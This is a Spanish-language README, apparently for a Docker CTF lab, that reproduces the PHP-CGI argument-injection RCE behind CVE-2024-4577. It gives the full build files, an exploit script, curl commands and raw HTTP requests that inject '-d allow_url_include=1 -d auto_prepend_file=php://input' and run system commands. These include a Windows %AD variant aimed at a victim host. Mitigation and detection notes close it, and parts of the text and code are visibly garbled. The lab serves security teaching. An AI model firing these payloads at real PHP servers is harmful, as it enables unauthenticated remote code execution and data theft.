
# Laboratorio CTF basado en Docker que demuestra CVE-2024-4577, inyección de argumentos PHP-CGI que conduce a RCE. Incluye PHP 5.4.1 CGI vulnerable, scripts de explotación y recuperación de la bandera.
Un laboratorio Docker autónomo, desde cero, que demuestra la primitiva real
de inyección de argumentos → Ejecución Remota de Código detrás de CVE-2024-4577.
Explótalo a través de http://localhost:8080, obtén una shell y lee la bandera desde
dentro del contenedor.
Esta es una vulnerabilidad genuina, no simulada. El contenedor compila un binario PHP 5.4.1 CGI sin parchear y lo conecta detrás de Apache exactamente como se configuran los hosts vulnerables reales. No hay ningún "if password == flag" falso en ningún lugar — la única forma de obtener la bandera es lograr realmente la ejecución de código.
El payload característico de CVE-2024-4577 usa %AD (un guion suave). Ese truco
solo funciona en Windows, porque la codificación de caracteres "Best-Fit" de Windows
convierte el byte 0xAD en un - () real de que el parche de CVE-2012-1823
de PHP ya haya verificado la cadena de consulta. Esa conversión de codificación la realiza
—
0x2DPor lo tanto, un laboratorio Linux fiel y ejecutable en tu máquina reproduce la misma
primitiva RCE exacta — inyección de opciones de php-cgi a través de la URL → -d auto_prepend_file=php://input → ejecución de código — usando la forma literal -
(que es el bug padre de CVE-2024-4577, CVE-2012-1823). La única
diferencia con un objetivo real de CVE-2024-4577 en Windows es la capa de bypass de
codificación %AD→-, que este README documenta en su totalidad (ver
Cómo funciona y
poc.http).
| Este laboratorio Linux | CVE-2024-4577 real (Windows) | |
|---|---|---|
| Componente vulnerable | php-cgi | php-cgi |
| Primitiva RCE | -d auto_prepend_file=php://input | idéntica |
| Delimitador en la URL | - literal | %AD (best-fit → -) |
| ¿Omite el parche de 2012? | N/D (PHP anterior al parche) | Sí, vía best-fit de Windows |
| Se ejecuta en Win 11 Home + Docker Desktop | ✅ | ❌ (necesita contenedores Windows) |
Si necesitas específicamente la reproducción bit a bit del %AD de Windows, necesitas un
host Docker con capacidad de contenedores Windows (Windows Server / Win Pro + Hyper-V) —
no se ejecutará en Windows 11 Home. El payload de Windows está incluido en
poc.http como referencia.
CVE-2024-4577 — Inyección de Argumentos en PHP CGI que conduce a Ejecución Remota de Código. Descubierta por DEVCORE (Orange Tsai / Angelboy), divulgada el 2024-06-06.
Cuando PHP se implementa en modo CGI (o el binario php-cgi.exe es accesible de otro
modo) en Windows con ciertas configuraciones regionales del sistema (chino tradicional/simplificado,
japonés y otras), el servidor web pasa la cadena de consulta HTTP a
php-cgi como argumentos de línea de comandos. Un atacante puede colar opciones de línea de
comandos de php-cgi (-d ...) en esa cadena de consulta. La conversión de página de códigos
best-fit de Windows convierte el byte de guion suave 0xAD (%AD) en un guion ASCII
-, que se cuela por el endurecimiento de CVE-2012-1823 y permite al atacante
establecer directivas INI arbitrarias de PHP — la más útil es
auto_prepend_file=php://input con allow_url_include=1, que ejecuta el
cuerpo de la solicitud proporcionado por el atacante como PHP. Resultado: ejecución remota de
código sin autenticación. Fue armada en la naturaleza en cuestión de días (p. ej., el ransomware
TellYouThePass).
CGI pasa la cadena de consulta como argv. Según RFC 3875, si la cadena de consulta de una
solicitud CGI no contiene ningún = sin codificar, el servidor la divide por +,
decodifica cada palabra en URL y las pasa al programa CGI como
argumentos de línea de comandos. Por lo tanto, php-cgi recibe un argv
controlado por el atacante.
php-cgi analiza ese argv como opciones. Históricamente, php-cgi interpretaba
-d key=value, -T, etc. de ese argv. Al proporcionar
-d allow_url_include=1 -d auto_prepend_file=php://input, PHP ejecuta
el cuerpo de la solicitud como código → CVE-2012-1823.
La corrección de CVE-2012-1823 es incompleta en Windows. El parche de 2012 añadió una
protección en sapi/cgi/cgi_main.c: aproximadamente "si la cadena de consulta (cruda) comienza
con - y no tiene =, omitir el análisis de opciones (skip_getopt)." Un atacante
que envíe un - literal ahora está bloqueado.
La codificación best-fit derrota la protección (el bug de 2024). En Windows, PHP
convierte la línea de comandos usando la página de códigos de la configuración regional con mapeo
best-fit habilitado. El atacante envía %AD (byte 0xAD, guion suave). En el
momento de la verificación de la protección, el primer byte es 0xAD, no -, por lo que
skip_getopt no se establece. Más tarde, cuando PHP realmente construye el argv,
Windows mapea por best-fit 0xAD → -, por lo que getopt ahora ve -d. La inyección
de opciones se activa después de la verificación que se suponía que debía detenerla. Ese
orden de verificar-luego-convertir es toda la vulnerabilidad.
En este laboratorio Linux, los pasos 1–2 se reproducen exactamente con un php-cgi que es anterior al parche del paso 3, por lo que la forma literal
-funciona y demuestra la RCE idéntica. El paso 4 es la capa exclusiva de Windows, documentada pero no ejecutada (Linux no tiene conversión best-fit).
Corregida en 8.3.8, 8.2.20, 8.1.29. Por lo tanto, vulnerables:
Condiciones: sistema operativo Windows; PHP ejecutándose como CGI o con php-cgi.exe expuesto
(la configuración predeterminada de XAMPP en Windows es vulnerable); una configuración
regional afectada para la ruta best-fit. (El bug padre CVE-2012-1823 — la primitiva
que ejecuta este laboratorio — afecta a cualquier sistema operativo que ejecute un php-cgi anterior a la corrección de 2012 en esta
configuración.)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. Requisitos previos
- **Docker Desktop** (Windows/macOS) o Docker Engine (Linux).
Windows 11 Home: instala Docker Desktop con el backend **WSL 2** (predeterminado).
→ https://www.docker.com/products/docker-desktop/
- `curl` para la explotación (`curl.exe` está integrado en Windows 10/11; también en
Git Bash / WSL / macOS / Linux).
- Acceso a Internet **durante la compilación** (descarga el código fuente de PHP 5.4.1).
## 6. Instrucciones de compilación
Abre una terminal en la carpeta `cve-2024-4577-lab/`.
### Opción A — docker compose (recomendada)```bash
docker compose up --build -d
Comando de compilación de docker:```bash docker build -t cve-2024-4577-lab .
**comando docker run:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
La compilación genera PHP desde el código fuente (tarda entre 2 y 5 minutos la primera vez). Si falla en tu máquina (sin conexión, sin cadena de herramientas, museum.php.net bloqueado), usa la imagen base alternativa:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
Deberías ver el HTML del **Portal de Estado Interno de ACME**, y crucialmente:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi (es decir, servido a través de php-cgi) confirma que el componente vulnerable está en la ruta de la solicitud. También revisa los registros:```bash
docker logs cve-2024-4577-lab
## 8. Pasos de explotación
La cadena de consulta inyectada (codificada en URL para que Apache no vea **ningún `=` literal** y
por lo tanto la trate como argv de CGI):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
which php-cgi parses as:``` -d allow_url_include=1 -d auto_prepend_file=php://input
El **cuerpo de la solicitud** se convierte en código fuente PHP (leído mediante `php://input`) y se ejecuta
*antes* de `index.php`.
### 8a. La forma más fácil: ejecutar el script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> En **Windows PowerShell**, usa `curl.exe` explícitamente (el `curl` de PowerShell
> es un alias de `Invoke-WebRequest` y altera la cadena de consulta):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. Manual — HTTP sin procesar (Burp Repeater)
Consulta [`poc.http`](#poc-http). Pega la solicitud n.º 1 en Burp Repeater y envíala.
## 9. Salida esperada```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
La línea uid=33(www-data) demuestra ejecución arbitraria de comandos del sistema operativo como el usuario del servidor web — esto es ejecución real de código, no una cadena impresa.
La bandera se encuentra en /flag.txt dentro del contenedor — fuera de la raíz web (/var/www/html), por lo que no es accesible a través de HTTP. La única forma de leerla es ejecutar un comando mediante el RCE:```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
Bandera:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
(En un CTF real no te dirían la ruta — ejecutarías ls -la / a través
del RCE para encontrarla. Prueba bash exploit.sh http://localhost:8080 "ls -la /".)
docker compose down
docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm
docker rmi cve-2024-4577-lab
docker builder prune -f
---
## 🔬 Cómo funciona el exploit, paso a paso
1. **Cliente → Apache.** Envías
`POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
con un payload PHP en el cuerpo.
2. **Enrutamiento de Apache.** `AddHandler application/x-httpd-php .php` +
`Action application/x-httpd-php /cgi-bin/php-cgi` enrutan la solicitud al
binario **php-cgi** (mod_actions + mod_cgi).
3. **Cadena de consulta → argv (la regla CGI).** El `mod_cgi` de Apache ve que la cadena
de consulta **no tiene `=` sin codificar** (enviamos `%3d`, no `=`), por lo que según RFC 3875
divide en `+`, decodifica cada palabra con URL y las pasa a php-cgi como `argv`:
`-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.
4. **php-cgi analiza las opciones inyectadas.** Este php-cgi (5.4.1, anterior al fix de 2012)
**no tiene la protección `skip_getopt`**, por lo que procesa felizmente las opciones `-d`:
- `allow_url_include=1` — permite incluir PHP desde wrappers de streams.
- `auto_prepend_file=php://input` — antes de ejecutar el script solicitado,
incluye y ejecuta el **cuerpo de la solicitud** como PHP.
5. **El cuerpo se ejecuta como código.** `php://input` es tu cuerpo POST,
`<?php system('id; cat /flag.txt'); die(); ?>`. Se ejecuta como el usuario de Apache
(`www-data`), ejecuta el comando del sistema operativo, imprime su salida y llama a `die()`
antes de que `index.php` llegue a ejecutarse.
6. **Exfiltración de la flag.** `system('cat /flag.txt')` lee `/flag.txt` (legible
por `www-data`) y lo devuelve en la respuesta HTTP.
### Por qué existe la vulnerabilidad (el "porqué" más profundo)
- **CGI confunde *argumentos* con *entrada de usuario*.** La convención CGI de los años 90 de
convertir una cadena de consulta en `argv` fue diseñada para scripts de búsqueda `<ISINDEX>`.
Apuntarla a un intérprete como `php-cgi`, cuyos `argv` son
potentes interruptores de configuración, es un error de categoría: los datos controlados por el usuario
se convierten en configuración del programa.
- **`-d` es inyección remota de INI.** `php-cgi -d nombre=valor` sobrescribe *cualquier* directiva
INI en tiempo de ejecución, sobrescribiendo incluso un `php.ini` endurecido. `auto_prepend_file`
+ `allow_url_include` + el wrapper `php://input` se componen en
"ejecutar el cuerpo de la solicitud", es decir, RCE.
- **CVE-2024-4577 específicamente** existe porque el fix de CVE-2012-1823 comprueba la
cadena de consulta en busca de un `-` inicial **antes** de que Windows realice su **conversión
de codificación best-fit**. El atacante envía `%AD` (guion blando); no es `-`
cuando se ejecuta la comprobación, por lo que la protección pasa, pero Windows luego mapea
best-fit `0xAD → 0x2D (-)`, reintroduciendo el `-` después de la puerta. **Orden de comprobar-luego-transformar**
+ una codificación dependiente de la configuración regional y con pérdida = un bypass del parche.
---
## 🛡️ Por qué este desafío resiste "solo adivinar la flag" / atajos de IA
- La flag **no está en la raíz web** y **no está referenciada por `index.php`**,
por lo que ninguna cantidad de rastreo, fuzzing o lectura del código fuente de la aplicación la revela.
- **No hay backdoor lógico** (no hay `if (input === flag)`), por lo que un solucionador no puede
revertir una comparación — la flag solo aparece en el stdout de un proceso **después
de una ejecución real de comandos del sistema operativo**.
- Recuperarla **requiere realizar el exploit real de inyección de argumentos**:
codificar correctamente `=` como `%3d`, mantener `-` como delimitador de opciones y
entregar el payload a través de `php://input`. Si te equivocas en cualquier paso, obtienes la
página benigna de ACME, no la flag.
- El token es una **cadena aleatoria de alta entropía**, no una palabra adivinable.
---
## Mitigación en el mundo real
- Actualiza PHP a **≥ 8.3.8 / 8.2.20 / 8.1.29**.
- **No ejecutes PHP como CGI.** Usa PHP-FPM / mod_php.
- En Windows/XAMPP, elimina los mapeos `ScriptAlias`/handler que exponen
`php-cgi.exe`; bloquea solicitudes donde la cadena de consulta comience con un
guion blando codificado; deniega `%AD` en la cadena de consulta en el WAF.
- Detección: registros web con cadenas de consulta que contengan `%AD`, `auto_prepend_file`,
`allow_url_include` o `php://input`.
---
# APÉNDICE — cada archivo, completo
Todo lo siguiente es el código fuente completo de cada archivo, para que este documento único
sea totalmente autocontenido.
## `Dockerfile````dockerfile
# =============================================================================
# CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution
# Linux reproduction of the argument-injection primitive that CVE-2024-4577
# revives on Windows. (See README.md, section "Linux vs. Windows".)
#
# Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
# predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
# (-d ...) supplied through the HTTP query string. Apache hands the query
# string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
# auto_prepend_file=php://input -> RCE. This is the exact primitive that
# CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1
# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates wget bzip2 xz-utils \
build-essential pkg-config autoconf \
libxml2-dev \
apache2; \
rm -rf /var/lib/apt/lists/*
# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
# CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
# linking of old PHP's tentative-definition globals.
# touch <files> : keep the tarball's PRE-GENERATED parser/scanner files
# newer than their .y/.l sources so `make` never invokes
# bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
cd /usr/src; \
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
tar -xf php.tar; \
cd "php-${PHP_VERSION}"; \
for f in \
Zend/zend_language_parser.c Zend/zend_language_parser.h \
Zend/zend_language_scanner.c \
Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
Zend/zend_ini_scanner.c \
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
if [ -f "$f" ]; then touch "$f"; fi; \
done; \
CFLAGS="-O2 -fcommon" ./configure \
--enable-cgi \
--disable-all \
--without-pear; \
make -j"$(nproc)"; \
make install; \
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
chmod 0755 /usr/lib/cgi-bin/php-cgi; \
/usr/local/bin/php-cgi -v; \
cd /; rm -rf /usr/src/php*
# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini /usr/local/lib/php.ini
COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux; \
a2dismod mpm_event mpm_worker || true; \
a2enmod mpm_prefork cgi actions alias; \
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
a2enconf servername
# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with: docker compose up --build
services:
web:
build:
context: .
dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails
image: cve-2024-4577-lab:latest
container_name: cve-2024-4577-lab
ports:
- "8080:80" # host 8080 -> container 80
restart: unless-stopped
<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1
display_errors = On display_startup_errors = On log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off
short_open_tag = On
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
BODY=""
echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"
curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"
echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
###############################################################################
###############################################################################
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c).Solo para uso autorizado en educación de seguridad / CTF.